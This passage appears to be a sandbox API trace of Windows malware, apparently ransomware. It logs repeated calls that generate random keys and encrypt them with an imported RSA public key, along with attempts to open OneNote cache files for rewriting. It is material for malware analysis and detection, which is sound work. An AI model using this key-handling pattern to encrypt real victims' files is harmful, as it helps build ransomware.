hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.857] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.857] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0173.868] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66de48) returned 1 [0173.868] CryptGetKeyParam (in: hKey=0x66de48, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.868] CryptEncrypt (in: hKey=0x66de48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3a60000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3a60000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.869] GetLastError () returned 0x0 [0173.869] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.869] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0173.880] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66df08) returned 1 [0173.880] CryptGetKeyParam (in: hKey=0x66df08, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.880] CryptEncrypt (in: hKey=0x66df08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3a70000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3a70000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.880] GetLastError () returned 0x0 [0173.881] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0173.881] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000011.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000011.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.881] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0173.884] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.885] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.885] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.885] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.885] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0173.888] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.889] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.889] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.889] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.889] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0173.900] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66de88) returned 1 [0173.900] CryptGetKeyParam (in: hKey=0x66de88, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.900] CryptEncrypt (in: hKey=0x66de88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3a80000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3a80000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.900] GetLastError () returned 0x0 [0173.900] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.900] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0173.912] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66dec8) returned 1 [0173.912] CryptGetKeyParam (in: hKey=0x66dec8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.912] CryptEncrypt (in: hKey=0x66dec8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3a90000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3a90000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.912] GetLastError () returned 0x0 [0173.912] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.912] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000012.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000012.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.912] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0173.916] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.916] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.916] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.916] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.916] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0173.920] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.920] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.920] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.920] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.920] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0173.932] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66d908) returned 1 [0173.932] CryptGetKeyParam (in: hKey=0x66d908, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.932] CryptEncrypt (in: hKey=0x66d908, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3aa0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3aa0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.932] GetLastError () returned 0x0 [0173.932] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.932] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0173.944] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66df48) returned 1 [0173.944] CryptGetKeyParam (in: hKey=0x66df48, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.944] CryptEncrypt (in: hKey=0x66df48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3ab0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3ab0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.944] GetLastError () returned 0x0 [0173.944] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.944] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000013.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000013.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.944] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0173.948] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.948] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.948] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.948] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0173.948] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0173.952] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.953] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.953] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.953] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.953] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0173.964] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66df88) returned 1 [0173.964] CryptGetKeyParam (in: hKey=0x66df88, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.965] CryptEncrypt (in: hKey=0x66df88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3ac0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3ac0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.965] GetLastError () returned 0x0 [0173.965] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.965] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0173.977] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66dc88) returned 1 [0173.977] CryptGetKeyParam (in: hKey=0x66dc88, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.977] CryptEncrypt (in: hKey=0x66dc88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3ad0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3ad0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.977] GetLastError () returned 0x0 [0173.977] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.977] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000014.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000014.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.978] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0173.981] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.982] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.982] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.982] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0173.982] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0173.986] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.986] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.986] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.986] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0173.986] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0173.994] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66dfc8) returned 1 [0173.994] CryptGetKeyParam (in: hKey=0x66dfc8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.994] CryptEncrypt (in: hKey=0x66dfc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3ae0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3ae0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.994] GetLastError () returned 0x0 [0173.994] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0173.994] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0174.002] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66d988) returned 1 [0174.002] CryptGetKeyParam (in: hKey=0x66d988, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.002] CryptEncrypt (in: hKey=0x66d988, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3af0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.002] GetLastError () returned 0x0 [0174.002] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.002] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000015.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000015.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.002] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0174.004] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.005] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.005] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.005] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.005] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0174.006] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.007] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.007] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.007] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.007] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0174.012] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66da08) returned 1 [0174.013] CryptGetKeyParam (in: hKey=0x66da08, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.013] CryptEncrypt (in: hKey=0x66da08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3b00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.014] GetLastError () returned 0x0 [0174.014] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.014] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0174.019] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66da48) returned 1 [0174.019] CryptGetKeyParam (in: hKey=0x66da48, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.019] CryptEncrypt (in: hKey=0x66da48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3b10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.019] GetLastError () returned 0x0 [0174.019] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.019] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000016.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000016.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.019] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0174.021] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.021] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.021] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.021] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.021] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0174.023] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.023] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.023] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.023] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.023] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0174.029] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66db08) returned 1 [0174.029] CryptGetKeyParam (in: hKey=0x66db08, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.029] CryptEncrypt (in: hKey=0x66db08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b20000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3b20000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.030] GetLastError () returned 0x0 [0174.030] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.030] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0174.035] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35db650) returned 1 [0174.035] CryptGetKeyParam (in: hKey=0x35db650, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.035] CryptEncrypt (in: hKey=0x35db650, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b30000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3b30000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.035] GetLastError () returned 0x0 [0174.035] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.035] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000017.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000017.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.035] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0174.037] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.037] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.037] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.037] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.038] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0174.039] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.040] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.040] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.040] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.040] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0174.051] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35dbb10) returned 1 [0174.051] CryptGetKeyParam (in: hKey=0x35dbb10, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.051] CryptEncrypt (in: hKey=0x35dbb10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3b40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.051] GetLastError () returned 0x0 [0174.051] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.051] CryptAcquireContextW (in: phProv=0x285cd1c, 